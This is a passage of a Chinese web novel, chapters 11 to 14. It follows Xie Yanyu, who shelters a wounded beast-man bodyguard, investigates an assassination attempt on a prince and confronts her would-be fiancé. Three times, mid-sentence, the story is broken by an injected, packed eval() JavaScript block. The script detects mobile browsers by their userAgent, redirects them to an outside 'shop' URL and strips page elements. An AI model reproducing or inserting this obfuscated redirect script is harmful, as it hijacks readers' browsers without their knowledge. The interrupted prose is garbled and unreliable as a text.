谢烟雨抬头看他,发现他唇角紧抿,脸上往下到脖子通红一片。 她舔了舔被风吹得干巴的唇角,有些好奇的视线落在那对毛茸茸的耳朵上。 感受到她目光的一号身形微顿,身上更红了,抬手将她的脑袋轻摁进怀中,在黑暗中跳跃向前。 追在身后的那群黑衣人去查看能量炮炸毁的地方,发现只是炸没了一栋烂尾楼后快速离开,四处分散去找人。 他们走后,很快有一队人过来处理后续事情,周边的居民因为这声响出门查看时激起的恐慌被迅速压了下去。 11. 脱险 一号速度本就快,变成半兽人后速度更快。 谢烟雨原先还能瞧见坠在末尾的黑衣人,被一号带着拐了两个弯后彻底瞧不见了。 她收回目光,若有所思。 那帮人能拿出军团新研发的产品,说明与军团有关,只是军团的人为什么要杀一号? 谢烟雨的目光从一号身上掠过,落在他的尾巴上,因为他兽人的身份吗? 帝国先祖原是兽人,随着时间的流逝,他们逐渐变成人类模样,失去了变化成兽形的能力。 到了现在,兽人的存在已经成为了一种传说,只有古籍中留下了几分当初的痕迹。 兽人作为一种传说中的存在,军团知道了就算不想收为己用,也应该报告皇室,怎么会想着杀死呢。 谢烟雨直觉一号被追杀跟他兽人身份无关,具体是什么,大概是一号不愿意告诉她的那件事。 她后知后觉地想,怪不得他的伤口好得这么快,是兽人的愈合能力太强大。 说起伤口,就总觉得鼻尖有股血腥味挥之不去。 直到紧贴一号腹部的腰侧被打湿,传来粘腻的感觉,谢烟雨才意识到,鼻尖的血腥味是真实存在的。 一号躲开能量炮时用力过猛,直接将处理好的伤口撕裂。 只是他居然一声不吭,连闷哼也无,面不改色地抱着她跑了这么久。 谢烟雨不敢乱动,搂紧他的脖子,直到看见自己的别墅后才松了口气。 一号熟门熟路地翻进她房间的阳台,没有惊动任何人。 “我走了。”他轻声说。 说着,他把谢烟雨放下,拉开玻璃门,将她轻轻推了进去,自己后退两步,手一撑栏杆就要跳下去。 谢烟雨静静地看着,并没有出口挽留。 就在一号的身影即将消失之际,进度条突然显示在半空,属于秦宥的那一栏从0%跳到了5%。 谢烟雨双目微睁,下意识道:“等等!” 一号立刻刹住脚步,回头看她,“怎么了?” 他一边问一边上下打量谢烟雨,以为她也受伤了。 谢烟雨的目光从进度条上挪开,对上他略带担忧的视线,顿了好一会才道:“追你的人还在找你,留在这里吧。” 一号眨了眨眼,有些不解地歪了歪头,长发随着他的动作掉落,划过他的手臂,带起一股痒意。 似乎是确认了谢烟雨没有开玩笑,一号眼睛渐渐亮了起来,他刚要松开搭在栏杆上的手,又想到了什么倏地收紧,摇了摇头,“太危险了。” 留在这里对谢烟雨来说风险太大了,一号不愿意去赌。 “你是兽人,掌握变身技巧,只要改变些样貌,他们不会发现的。” 谢烟雨上前一步,拉住他,虽然不知道为什么,但每次她与一号有肢体接触时,他都很开心。 一号视线落在两人交握的手臂上,嘴角微弯,果然犹豫了,“可是......” 谢烟雨听不得他说什么可是,直接将人拉了进来,近乎急切的动作。 有关秦宥的任务一直没有进展,但是却在刚刚涨了百分之五! 这段时间她只和一号在一起,这点涨幅肯定跟他有着莫名的联系。 谢烟雨还摸不清规律,但不妨碍她将人留下来。 一号半推半就被她拉着进了客厅,心里还在担忧,颇为无所适从,有些失措地站着任由谢烟雨打量。 “你真的要留下我吗?”他舔着唇,小心翼翼又期待地问了一遍。 因为失血过多,他头脑有些发昏,但胸腔内的心脏却不安分地慢慢快了起来。 他已经收回了尾巴和耳朵,还没来得及收回去头发及腰,披落在肩上,紧紧看过来的目光甚至有些乖巧。 谢烟雨没注意,全部心神都在怎么改变一号容貌这件事上,随意地嗯了一声。 一号嘴巴开开合合,好几次要说话却说不出来。他眼睛亮得吓人,怕吓到谢烟雨,就看向她身后。 客厅往前就是卧室,在靠近床头的位置,放着一束白色山茶花。 那是他送的。一号一眼就认了出来 他仿佛被巨大的惊喜兜头砸中,不仅呼吸一滞,连心跳也漏了一拍。 一号怔怔地抬手捂住胸膛。 谢烟雨还在思考怎么给他安排一个合理的身份,见他突然抬手,愣了下问:“不舒服?”她忘了这人还有伤了。 一号还没来得及回答,她已经转身从柜子下方拖出医药箱走回来。 目光触及一号被血液浸透的上衣,谢烟雨顿了顿,眉头皱了起来,“我去给你找医生。” 一号还处于激动的状态,但听到医生一词立马回神,“不用。” 他不敢看谢烟雨,就看地面,余光瞥见自己刚刚碰了衣服的手沾上血迹,不着痕迹地背到身后。 他强调,“很快就好了。” 他是兽人,这点伤明天就能结痂了,而且找医生的话,会提高暴露风险,给她带来一定的危险。 “真的?”谢烟雨确认道,她知道兽人愈合能力强,但不知道强到那种地步。 一号点头,伸手拿起医药箱,“我去处理伤口。” 等谢烟雨应声后,他走到阳台,寻了个角落背对着客厅坐下,开始处理伤口。 处理伤口而已,为什么要坐这么远? 谢烟雨看了他一眼,心里有些奇怪,不过看起来他能自己处理,也就放弃了找医生的想法。 她坐在沙发上,点开光脑,联系李叔告诉他自己已经回来了,叫他过来见自己,顺便送几套男生的衣服过来。 李叔收到消息后先是惊喜,紧接着松了口气,再一看,眉头拧起。 他怀着复杂的心情让人找来几套衣服,敲响谢烟雨的房门。 谢烟雨开门后,他克制着自己的目光不乱看,但实在忍不住问:“小姐,您没有受伤吧?” “没有。”谢烟雨让他跟自己进来。 一号已经处理好伤口站了起来,本来要进来,但看见李叔后停住了脚步。 谢烟雨往前走几步站在他身旁,对李叔说:“这是阿一,以后就是我的贴身保镖了,李叔,我对面那间房以后就给他住。” 李叔表情古怪,“是。” 他看向一号,表情更加古怪,“阿一,跟我来吧。” 一号先是看了眼谢烟雨,后者冲他点点头,“去吧,好好休息。” 一号眼睛微亮,眼中带笑,小声冲她道:“明天见。” 李叔带着一号对了对面的房间,给他介绍了下布局后,正色道:“阿一, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714749|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然小姐相信你,我也会相信你。” “以后你就安心在这里住下,有什么事都可以来找我。”他称得上和颜悦色地道。 一号点点头,认真地道:“谢谢。” 李叔礼貌地笑了笑,将衣服递给他,退出房间,再次进了谢烟雨的房间。 谢烟雨知道他想问什么,也没等他问,直接说了,“李叔,他对我很重要,可能关系着我的生死。” 能完成有关秦宥的任务,可不是关系着她的生死。 李叔要问的话瞬间憋了回去,脸色凝重,“小姐,是秦家还是谢家?” “阿一一个人能保护您吗?我再调几个人过来跟着您吧。”他担忧地道。 “不用。”谢烟雨提醒道,“阿一的存在不必跟其他人多说。” “是。” 李叔离开后,谢烟雨洗漱一番,去看谢骁。 他不知道今天晚上的事,只以为谢烟雨是有事才这么晚回来,等了好久,最后被李叔劝回去睡觉。 现在他已经睡熟了,谢烟雨轻手轻脚进来并没有吵醒他。 把他露在外面的手塞进被子里,谢烟雨摸了摸他的脸,如来时一般小心离开。 回到房间,谢烟雨本来还想处理一下光脑中的信息,但一看时间:11.21。 她立刻放下光脑光灯睡觉。 一号速度很快,那些人绝对追不上来,就算追上来了,也不可能贸贸然进入她家,她可以安心地睡觉。 今天一番折腾,身心俱疲,谢烟雨以为自己能很快睡着,却翻来覆去好久才勉强入睡。 跟她一样难以入眠的还有一号。 如果说谢烟雨是因为忧愁睡不着,那一号就是纯粹的欣喜。 他躺在柔软的床铺里头,侧着身子,长发遮盖住他的脸,只露出一双带着欢喜的红色眸子。 他从怀里掏出一张照片,照片的边角卷起有些褪色,是被多次抚摸导致。 一号盯着照片看了好一会,心满意足地塞进怀里,贴身放好。 闭上眼,是抱着谢烟雨在黑夜中奔袭的场景,鼻尖似乎还萦绕着独属她的香气,一号弯起嘴角,渐渐陷入睡眠。 与此同时,秦家。 和谢烟雨见面失败,还亲眼看着她跌下二楼,秦明朗害怕得要死。 他虽然在谢烟雨跟前大放阙词,但也知道这门婚事父亲很重视,他要是搞砸了免不了一顿揍。 因此特地拖到三更半夜才回来,就是怕挨揍。 但他没想到,本以为已经睡了的父亲书房灯还亮着,显然没睡。 秦明朗心里一咯噔,以为是冲自己来的,面如死灰地走过去,却听到里头传来父亲的怒斥声,以及别人的应答声。 秦明朗脚步一顿,还没来得及欣喜,里头的说话声停了,接着,门被打开,他黑着脸的父亲出现在眼前,看见他后眉头皱得更紧,“你怎么在这?” 秦明朗干笑两声,小心地往后挪,“我就路过。” 秦父扫了眼他,想呵斥两声,但想到屋子里头的人,还是掩下恨铁不成钢的怒气,“滚回去睡觉!” “好咧!”秦明朗脚底抹油地溜了。 书房门被重新关上,说话声又响起来,依稀能听到里面传来“逃了”、“找不到”等字眼。 12. 怀疑 谢烟雨已经很久没有晚起了,今天是个例外。 她睁眼的时候,已经比平日晚了将近一个小时。 从床上起身,谢烟雨快速洗漱完做运动,做完运动又洗了个战斗澡才出门。 一开门,她就被门口蹲着的一大一小惊了一下,“你们在这干什么?” 谢骁正歪着头和一号说完,看见她后立刻起身,“小姑!” 蹲太久脚麻,他险些没站稳,一号扶了他一把,视线却在谢烟雨身上,“你起床啦。” 他声音雀跃,看过来时的眼睛闪着细碎的光,似乎还有些不好意思。 谢烟雨应了一声,“找我是有什么事吗?” 她接住冲过来抱住自己的谢骁,摸了摸他的头,重新抬头看向一号。 一号张了张嘴,又摇了摇头,看了眼她怀里的谢骁,低声说:“没事。” 他看起来好像没有方才那么开心了,谢烟雨不明所以,正要问,怀里的谢骁扯了扯她的衣袖,“小姑!” 谢烟雨低头,见他一脸期待,瞬间了然,“想让我送你去学校?” 昨天送他去学校的时候他就很高兴,直嚷嚷下次也要小姑送。 “嗯嗯!”谢骁点头,又问,“小姑有空吗?” 谢烟雨揉了揉他的脑袋,“有。” “太好啦!谢谢小姑!” 谢骁抱着她的腿,因为身高的原因仰着头看她,“小姑你昨天没有回来,是去见阿一哥哥了吗?” 刚刚在聊天的时候,他已经知道了这个哥哥的名字。 因为一号帮过他,他对一号很喜欢,所以很快就和一号亲近起来。 这会更是凑近谢烟雨,小小声地问:“小姑,以后阿一哥哥是不是就是我们的人了?” “嗯。”昨天的事谢烟雨不愿多说,应了一声轻轻带过,牵着他往前走时侧头看了眼。 一号垂着头跟在后面,看不清神色。 她想了想,停下脚步,对谢骁说,“你先去吃饭,我等会去找你。” 谢骁看了看她,又去看身后的一号,点点头,松开她的手,“那你和阿一哥哥快点下来哦。” “好。”谢烟雨摸了摸他的脑袋,小孩乖乖地蹭了蹭,蹦蹦跳跳地下楼。 一号听到她让谢骁离开时就挺直背脊,暗搓搓地看她,见她看过来更是睁大了几分眼睛。 看见他身后的长发,谢烟雨下意识想起了那双毛茸茸还会动的耳朵,扣了扣手心。 “以后你就留在我身边跟着我可以吗?在你没有找到自己认识的人之前。” 谢烟雨醒来的时候分析过了,一号说的怕别人不认识他,大概率是要找或者要等什么人,在这个人出现之前,他可以一直待在自己身边。 这段时间完全能让她将任务涨进度的规律以及一号身上的秘密摸清楚。 当然,这一切的前提都是一号愿意,要是他不愿意,就要另想办法了。 还没等谢烟雨的思维扩散到要另想什么办法,一号已经重重点头,“好啊!” 顿了顿,他瞅了眼谢烟雨,低声补充道:“还是做你的贴身保镖吗?” 谢烟雨点头,“嗯。” 放在眼皮子底下更放心,而且一号武力值很高,能赤手空拳躲过能量炮,她的安全保障大幅度提高。 看见她点头,一号明显雀跃了,摩拳擦掌地问:“那我需要做什么?”言语间已经开始适应贴身保镖这个角色。 “保护我就行。”谢烟雨说完,有些犹豫地看向他的眼睛,“你的瞳孔颜色,能换一下吗?” 帝国拥有其他颜色的瞳孔的人不少,但很少有红色的。 昨天那帮人穷追不舍,要是真的发现一号在她这里,怕是要闹得不能安宁。 “能。” 一号有求必应,立马闭了闭眼,再睁眼时,红色的瞳孔变成了黑色,仔细看还是能看见一闪而过的红光。 换了瞳孔颜色,似乎将他身上的那股属于野兽的气息也压了下去,看起来更加清冷。 “这样可以吗?”一号说,“不过,只能维持2-3个小时。” 谢烟雨看着眼前几乎变了个模样的一号,满意地点了点头,“没关系,只需要在出门的时候维持这个样子就好,在家里不用。” 她别墅里的人都是用了好几年的,信得过。 两人下去吃早饭时,谢骁已经坐在餐桌旁等他们了。 谢烟雨这里没有食不言寝不语的规则,谢骁一边吃饭一边跟一号说话。 他对这个救了自己的哥哥很是好奇,“我怎么样才能像你这么厉害呢?” 一号想了想:“多吃饭,力气大。” 谢骁歪头看他,说这么会话的功夫,一号已经把碗里的粥喝完了,正在盛第二碗。 一号身体力行,谢骁深以为然,埋头苦吃。 在谢骁吃完一碗要去舀第二碗时,一号拦住他,“你人小,要慢慢来,不能一下子吃太多。” 谢烟雨一直留心着两人,听到这才算放心,低头吃饭,顺带点开光脑处理昨天没来得及处理的信息。 第一条消息是谢林臣的。 【克拉星还有事未完,需要多待几天,麻烦你帮我多照顾骁骁几天。】 【你要的人已经找到了,这是他的联系方式。】 谢烟雨收下他的转账,依次回,【好】、【谢谢】。 过了会,谢林臣回她,【骁骁的事麻烦你了,有事可以找我。】 言下之意,照顾谢骁算他欠一个人情。 谢烟雨手指动了动,摸不清他是不是在说昨天的事。 昨天谢骁与他通话时提了一下谢烟雨久久未归的事,他哄完谢骁联系李叔问情况。 李叔担心谢烟雨遭遇不测,把事情告诉了他,希望他能动用他的力量来帮忙找人。 两人还没说完就收到了谢烟雨报平安的消息,这件事不了了之。 如今谢林臣的话更像是意有所指。 谢烟雨想了想,一字一句敲下,【他要给我换未婚夫,你有什么办法?】 等了会,没等到谢林臣的回答,谢烟雨退出去看别人的信息。 陆安然也联系她了,说她问了她哥,没问出什么有用的,只能知道秦宥这次任务保密级别很高,似乎跟一个人有关。 一个人? 由秦明朗的态度可以看出秦宥和秦家关系不好,所以应该不会是为了秦家的人,那是……二皇子? 若真是二皇子,陆安然应该会直说,没有直说,就是另有其人。 谢烟雨放下筷子,对身后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714750|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李叔说:“把有关秦宥的资料整理一份送到我房间。” “是。”李叔下去准备了。 谢烟雨谢过陆安然,后者回了句没关系,最后问她,【你想要苏铭的联系方式吗?】 一直在找苏铭的联系方式的谢烟雨眼睛微亮,【想要!】 【等着。】 这一等就等到了下午。 陆安然发来一串数字,并道:【好不容易弄来的,得请我吃饭。】 谢烟雨没想到陆安然真的能拿到苏铭的联系方式。 军团将领的联系方式不能随意给军团外的人,她虽是秦宥未婚妻,也没有苏铭的联系方式。 陆安然哥哥是第三军团的人,就算有苏铭联系方式,也不会给陆安然。 能弄来联系方式,陆安然肯定花了大力气。 吃顿饭而已,谢烟雨自然答应,【当然,吃什么都行。】 谢林臣给她转了好几次钱,就算陆安然一天吃遍全帝国也能吃十天半个月了。 比起这个,谢烟雨想的更多的是该给陆安然送什么礼物。 跟陆安然约好吃饭时间后,谢烟雨先给苏铭发去好友申请,接着点开光脑,想要找到一份礼物在吃饭那天送给陆安然。 刚点开光幕搜索栏,一则消息就跳了出来。 ——惊!二皇子在夜色遇刺! 谢烟雨愣了一下才点进去,这是一条娱乐新闻,但配的确实是二皇子在夜色的图。 她把图点开放大,在护着二皇子的一群人中找到了苏铭。 自从秦宥失踪,苏铭除了在军团就是跟着二皇子,图片里的他护在二皇子身前,满脸冷峻。 谢烟雨搜了一下,对于这则消息,皇室没有回应,官方也只是维护秩序并未辟谣,所以,遇刺一事很可能是真实的。 上次二皇子生辰宴,一号在场。 这次夜色酒吧,一号也在场。 新型药剂、能量炮都是军团的产物,如果是二皇子,拿到的可能性很大。 谢烟雨缓了缓,把光脑搁在桌子上,身子往后挪,靠在沙发上。 好半晌,她才低声道:“行刺二皇子,为什么呢?” 枯坐半天的谢烟雨点开任务,谢骁的好感度稳步上升,如今已有45%。 秦宥那一栏仍停留在5%,唯一的线索就是一号。 谢烟雨闭了闭眼,拿过光脑联系李叔,【李叔,想办法弄到被坑杀的所有士兵的名单。】 李叔很快回应,并道:【小姐,肖海父亲已经招了,他见的那人叫林书,跟着秦天海做事。】 最近事多,谢烟雨都快把这号人给忘记了,李叔的提醒让她自然而然地想起那天在咖啡厅里发生的事情。 只是......秦天海是秦明朗的父亲,两家联姻在即,他为什么要派人过来为难她以及谢家。 他不想秦明朗跟自己联姻的想法一闪而过,很快被谢烟雨否决。 要是秦天海真的不想让秦明朗联姻,就没有必要换联姻对象,甚至让秦明朗出来见自己。 肯定有什么她不知道的事情。谢烟雨把李叔传过来的证词保管好,点开秦明朗的联系方式,【明天上午九点,中央广场见。】 比起直接去见秦天海,还是不太聪明的秦明朗比较好搞定。 13. 询问 秦明朗接到谢烟雨信息的第一反应是她要找自己算账。 转念一想,说不准是昨天那么一摔,把她摔开窍了,知道联姻是两家的事,不能和他对着干。 虽然这种可能性很小,但秦明朗还是愿意去相信,只因秦天海不知道怎么了,一整天黑着脸,周身全是低气压。 他原本还想把谢烟雨打人的事告诉秦天海装可怜,见状也不敢轻举妄动,更害怕被秦天海知道自己搞砸了昨天的见面。 他爸是疼他,可打人也真的是痛的要命。 秦明朗一边穿衣服,一边联系自己的狐朋狗友蹲守在附近,有什么意外可以赶紧把他救出来。 收拾好,他悄摸地下楼,想要躲开秦天海。 没想到秦天海和他妈正坐在客厅,见到他眉头一皱,“去干什么?” 他的视线从秦明朗身上花里胡哨的衣服上掠过,声音不自觉冷了下来,“又去找你那帮所谓的朋友喝酒?” 他盯着秦明朗,一副要是后者敢点头,他就要冲上去揍人的表情。 秦明朗干咳两声,躲开他的视线,“谢烟雨约我出门。” 他爸都让他多和谢烟雨交流了,说跟她出去应该不会挨骂,再者这也是事实,秦明朗说的很有底气。 “谢烟雨,就是那个秦宥的未婚妻?”秦天海还没说话,他身边坐着的美妇人先开口了。 美妇人眉头微蹙,眼底闪过一丝嫌恶,碍于秦天海在场,没有说什么,只道:“见完赶紧回来。” “回什么。”秦天海不赞同地道,“还有,什么叫做秦宥的未婚妻,她是明朗的未婚妻。” “行了,约了人家就赶紧出门,带人多玩玩,最好让她同意十天后出席发布会现场。”他说。 秦天海脸上的黑沉散了些,许是觉得秦明朗终于懂事一会,难得和颜悦色,甚至点开光脑给他转了一笔钱。 秦明朗睁大眼睛,数了数后面的零,喜笑颜开,“好咧!那爸妈,我就先出门啦!” 秦天海点点头,等他走远后对身旁的妻子欣慰道:“明朗总算是长大了,知道为我分忧了。” 美妇人在他看不见的角度白了他一眼,嘴上说着暖心的话,心里却暗嗤,一个病秧子,也妄图当她家明朗的妻子? 谢烟雨将见面地点约在中央广场,今天早上又改成一家餐厅。 秦明朗第一次没嫌烦,很快答应了。 他在心底盘算着刚刚收到的钱,去见完谢烟雨就去喝酒,有多的还可以叫人过来玩玩。 越想他越兴奋,对这次见面的不耐也少了些。 另一边,谢烟雨收到那人的消息后立刻把见面地址改了。 那人就是谢烟雨托谢林臣找的私家侦探,不知道叫什么,只知道姓陈,别人一般喊他陈先生。 早些年谢烟雨跟他有过合作,对他的能力很满意,只可惜这人独来独往,不喜欢留联系方式,再找他还花了点时间。 谢烟雨原本想让他盯着秦家,看见那条娱乐新闻后改了注意,让他改盯二皇子。 刚刚他发来消息,说二皇子出了皇宫,去了一家餐厅。 等秦明朗同意换地方见面后,谢烟雨带着一号出门。 她上次见秦明朗出了意外,这次见秦明朗李叔原想让她多带几个人,听到她说只带一号根本不同意,但跟一号交手后,他立刻改口。 上了悬浮车,一号在谢烟雨身旁坐下。 因为方才的战斗,他眼底还透露着一股兴奋,身上的温度比旁人灼热几分。 谢烟雨和他靠近的地方都能感受到那股热气,她看了眼一号,“阿一,换一下瞳孔颜色。” “好。”一号很听话,闻言立刻闭眼,片刻后再睁眼,瞳孔的红色被黑色取代。 一号眨了眨眼,见谢烟雨看着自己,耳朵微红,凑过去问:“这样可以吗?” 他身上的热气以另一种形式裹挟了谢烟雨,让她眼睫微颤,不着痕迹地往后退两步,“可以。” “那就好。”一号低声说着,因为身子前倾而掉落的长发扫过他的鼻尖,滑落在胸前。 谢烟雨多看了两眼,“你打架的时候,头发怎么办?” 一号的头发长而密,一般人无法近他身,可人多了,总有几个能挨近抓到他的头发。 被扯头发的滋味不好受,谢烟雨垂眸低声道:“把它扎起来吧。” 一号闻言,摸了摸自己的长发,他一般都是以短发示人,还没扎过头发,也不知道怎么扎头发。 “我不会。”一号有些迟疑地补充道,“用什么扎?” 谢烟雨愣了下,想起他跟在自己身边之前的模样是短发,自然不用忧心这个问题。 她出门带了扎头发的东西,从一旁的包里拿出递给一号。 一号接过看了看,又去看她绑好的头发,没一会就扎出一个一样的。 没镜子,他自己看不着,就让谢烟雨看,“我扎好了吗?” “嗯,挺好看的。”谢烟雨夸道。 她今天梳的是侧头辫子,看起来简单,但要掌握那种蓬松的氛围感还有点难,没想到一号一次就成功了。 得到她的回答,一号眉眼微弯,看一看她的头发,又摸了摸自己的,心中有股说不清道不明的窃喜。 到了餐厅,一号率先下车,转身抬手护住谢烟雨的头让她出来。 谢烟雨冲他点点头以示感谢,他就笑了下。 这是他在工作的时候看别人做的动作,当时只觉得奇怪,现在却有了不一样的感觉。 两人一同进了餐厅。 二皇子毕竟是皇子,身边围绕的高手不少,陈先生虽然敢盯着他,但并不敢靠他太近,因此只知道他进了餐厅,并不知道他的具体位置。 谢烟雨拒绝了服务员说的包间,在一楼找了一个靠窗的位置坐下,给自己和一号点了东西。 从猜测一号行刺二皇子到现在,谢烟雨没有试探过一号,现在二皇子在这,如果能碰面,就是一次最好的试探。 谢烟雨看了眼自己5%的任务进度条,扣了扣手心,说不清自己到底想要哪个结果。 点的东西还没上,秦明朗先来了。 靠窗的位置让谢烟雨能第一时间看见进来的人和出去的人。 秦明朗一下车就撩了把头发,懒散地站着,跟门口迎宾的女生说了几句话才进门。 进门看见前台忙碌的女生后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714751|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往前的脚步一转,整个人趴在了前台柜子上,嘴角带着一抹笑,听不清在说什么,但谢烟雨看见了那个女生悄悄往后退的动作。 谢烟雨喊他出来可不是帮他祸害女生的,她提高了音量喊:“秦明朗。” 正在逗人女生的秦明朗嘴角一垮,回头去看,发现谢烟雨坐在不远处,正静静地看着他。 尽管隔得远,也能看清她眉宇间的些许嫌弃,约莫是看到了全程。 秦明朗啧了一声,心想完蛋了,他爸说的任务恐怕是完成不了了。 这么想着,他心里却没什么变化,显然是并不打算完成这个任务,或者说压根就没想过要提。 他转过头,对前台女生笑嘻嘻地道:“等会再来找你哦。” 前台女生勉强扯出一抹笑,“客人有什么用餐问题当然可以找我。” 她特地强调了用餐问题四个字,但秦明朗就跟没听见似的,重点全在她后边的六个字上,给了她一个上道的眼神。 前台女生恶心得够呛,等他走后立刻点开光脑,啪啪啪地往上边打字,一副大吐苦水的模样。 秦明朗全然不知自己惹人嫌,在他看来,他这样身份的人能看上一个打工的,已经是一种上天的恩赐了。 至于别人嫌弃他?不可能,肯定是那人欲擒故纵想吸引他的注意力罢了。 这种手段,他见多了。 走过去的时候,秦明朗先是扫了眼周围,低头点开光脑确认自己兄弟们在附近,才在谢烟雨对面落座。 他打量了眼谢烟雨身边的一号。 不是上次的那种大块头,是个长发飘飘的美男啊。 秦明朗的眼神变了下,正欲说话,就被一双仿佛淬了寒冰的双眸冻住。 一号歪了歪头,已经变成黑色的瞳孔没有红色的那么邪性,但更加纯粹瘆人。 他把搭在腿上的左手抬起,在秦明朗的目光下拎起面前的餐具,稍微一用力,银色筷子就弯下了腰。 秦明朗瞳孔一震,见鬼似的看着一号。 一号仿佛什么都不知道,将手中的变形的筷子递给他,“秦先生是吧,我觉得你适合用这套餐具。” 秦明朗不想接,但他一缩手,一号就抬起另一只手把勺子也弄变形了,一边弄,一边看向他的腿。 那慢条斯理的模样,不知道的人还以为他在干什么大事呢。 秦明朗抖着手把扭曲的筷子和勺子接到手里,想扔在自己面前的桌子上,但手一动,一号的目光就落了下来。 他憋屈地放在桌子上,餐具和瓷质的桌面相触,发出一声脆响。 秦明朗一顿,没敢看一号,去看一直没有说话的谢烟雨,“找我过来干什么?” 他话语里透出浓浓的有事说事,没事拜拜的意味。 谢烟雨看了眼已经把手重新搭在腿上的一号,给了他一个肯定的眼神后才去看秦明朗。 跟上次见面不太一样,今天的秦明朗明显收敛了很多。 谢烟雨记挂自己的计划,也没想和他客气,“林书是谁?” “啊?”秦明朗一下没反应过来,下一秒才明白她在说什么,眉头一皱,不太耐烦的样子,“你问这个干什么?” 14. 动手 “你只需要回答我的问题。”谢烟雨眯了眯眼,手指轻点桌面。 一号顺势看向秦明朗,目光沉沉,仿佛他不说就会让他也尝尝变形筷子的滋味。 上次被揍,这次被威胁,秦明朗眉头越皱越紧,猛地一拍桌面,“谢烟雨,你不要以为你仗着两家婚约就可以为所欲为!” 谢烟雨语气冷了下来,“我再说一遍,我的未婚夫是秦宥,不是你,也不会是你。” 秦明朗嘲讽地看向她,“想归想,说归说,你真的敢违抗你父亲的命令吗?” 谢父在官场身居高位多年,早就练就说一不二的性格。 他和他爸一样都是喜欢向利益看齐的人,变换人选一事,他们早就商量好了,除非秦宥死而复生,否则不可能改变。 谢烟雨对着他倒是敢叫嚣,但她敢对上谢父吗? 秦明朗心中嗤笑,谢家一儿一女,谢林臣早些年不肯联姻的事人尽皆知,最后他不仅被赶出谢家,还得了一顿揍。 谢林臣吃尽苦头才能在商界有如今地位,不受谢父掣肘。 但谢烟雨不是他,就算谢烟雨有这个能力,她也没有这个身体去复刻谢林臣的路。 要是谢林臣和她关系好,说不定还能帮衬帮衬,可所有人都知道,他们俩不是一个妈生的,平日见着了连话都不会多说。 没有人能帮谢烟雨,她只能乖乖听谢父的话。 秦明朗想的没错,谢烟雨确实什么都没有,唯一能用的人也只有李叔他们。 谢父又不是傻子,不听话的出了谢林臣一个就绝不会出第二个。 年少的谢烟雨深知自己力量不足,所以才在权衡利弊之后答应和秦宥订婚。 但现在不是以往,只要她找回秦宥,不仅能拥有一具健康的身体,还能利用对秦宥的救命之恩彻底摆脱谢家。 当然,就算失败了也没关系,反正她已经死过一回了,左不过死第二回。 比起生气和慌张,秦明朗的逼问在谢烟雨看来更像是无能之人的怒吼。 她正要说话,一旁的一号已经冷下脸站起身。 他很高,站起来时把窗外照进来的阳光遮挡得一干二净。 被阴影笼罩的秦明朗想起上次挨揍的事,还没好全的伤隐隐作疼。 他瑟缩一瞬,看向谢烟雨,“你不管管你带来的人吗!” 谢烟雨别开眼,对他的话毫无反应。 秦明朗初次见面跟她说的话她还记着呢,一个想着不让自己好过的人,自己怎么能让他好过。 而且她也不怕秦明朗把这事往外说,因为他要面子。 何况秦明朗劣迹斑斑,就算秦家人真的知道是她让人揍的,也只会把事情算在他头上。 毕竟她只是一个身体不好的女人,又有被霸凌过的经历,受到惊吓后让保镖揍人是天经地义的事,不是吗? 得了谢烟雨的准许,一号不再顾忌,长臂一伸拎起鹌鹑似的秦明朗往洗手间走。 大庭广众之下不能揍人,他带他去厕所谈谈人生。 见谢烟雨真的不管,秦明朗慌了,扒拉着一号的手冲谢烟雨喊:“谢烟雨!你疯了!你就不怕我.....唔!” 他话还没说完,就被一号从别的桌上薅下来的花塞住嘴,他赶紧伸手弄掉嘴里的花,没来得及多说什么。 一号拎人动静不大,薅花塞嘴的动静就有点大了,注意到的服务员都看了过来,有几个正在往这边走。 他们不知道发生了什么,但不想让人在店里打架,下意识就想劝阻一号,“先生,您......” 一号掀起眼皮看了过去,因为生气的缘故,他的眉眼往下压,宛如一匹被挑起战意的狼,眼神凶猛。 服务员顿时闭了嘴,下意识往后退了两步,他抖着唇想要劝阻,却是什么声音都发不出来。 赶过来的前台女生瞅了眼面色惨白的秦明朗,心里哼了一声,对上一号的眼神,她也瑟缩了一下。 但很快反应过来,拉着自己的同事离开,压低声音说:“别管他了,反正那人是往厕所走,那边没监控,我们就当不知道。” 同事一边犹豫着点头,一边忍不住回头看了一眼,“这样真的好吗?” 挺好的!前台女生心里道,那个死变态最好被多揍几拳!让他调戏她! 他们回到自己的工作岗位,再看过去,那两人已经没了人影,只有厕所那边传来隐隐约约的痛呼声。 一号抓住秦明朗的头把人摁在洗手台上,声音冷冽,“我不喜欢你对她说话的语气。” 厕所灯光昏暗,撒下来在他脸上形成阴影,乍一看,仿佛撒旦在世。 